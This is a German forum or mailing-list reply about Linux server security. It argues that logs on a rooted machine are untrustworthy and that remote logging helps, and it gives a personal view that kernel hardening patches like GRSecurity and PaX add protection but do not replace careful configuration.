Ja, das ist in der Tat ein unlösbares Problem. Selbst wenn man noch Logs hat, kann man diesen nicht mehr vertrauen, wenn die Kiste erst mal gerooted wurde. Das einzige, was hier Hilfe schaffen kann, sind die diversen Arten von Remote-Logging, d.h. zusätzlich zu den lokalen Logs werden in Echtzeit alle Logs auch auf einem entfernten Rechner mitgeschrieben. Solange dieser dann noch nicht gecrackt ist, hat man dort noch Logs, denen man vertrauen kann.

Noch meine ganz persönliche Meinung zu Kernel-Patches wie GRSecurity, RSBAC, PAX und Co.:
Ich bin der Meinung, dass man auch ohne solche Dinge einen Rechner "sicher genug" konfigurieren kann - vorausgesetzt, man hat den dazu nötigen Clue. Mein Rootserver z.B. hat den ganz normalen Standard-Kernel von Debian und ist auch noch nicht gecrackt worden.

Womit ich nicht sagen will, dass ich solche Patches für sinnlos halte. Im Gegenteil: Wie hier von einigen Leuten schon erklärt wurde, können sie entscheidend dazu beitragen, ein System "noch" sicherer zu machen. Es ist aber mit Sicherheit der falsche Weg, wenn man sich denkt: Prima, jetzt habe ich Patch X,Y und Z und jetzt bin ich ganz sicher. Unter Umständen macht man sich nämlich ohne solche Patches _noch_ mehr Gedanken über eine gute und sichere Konfiguration der Kiste.

Greetings, Dominik
PS: Fritz hat Recht: Endlich mal jemand, der "smart questions" stellt, danke! :)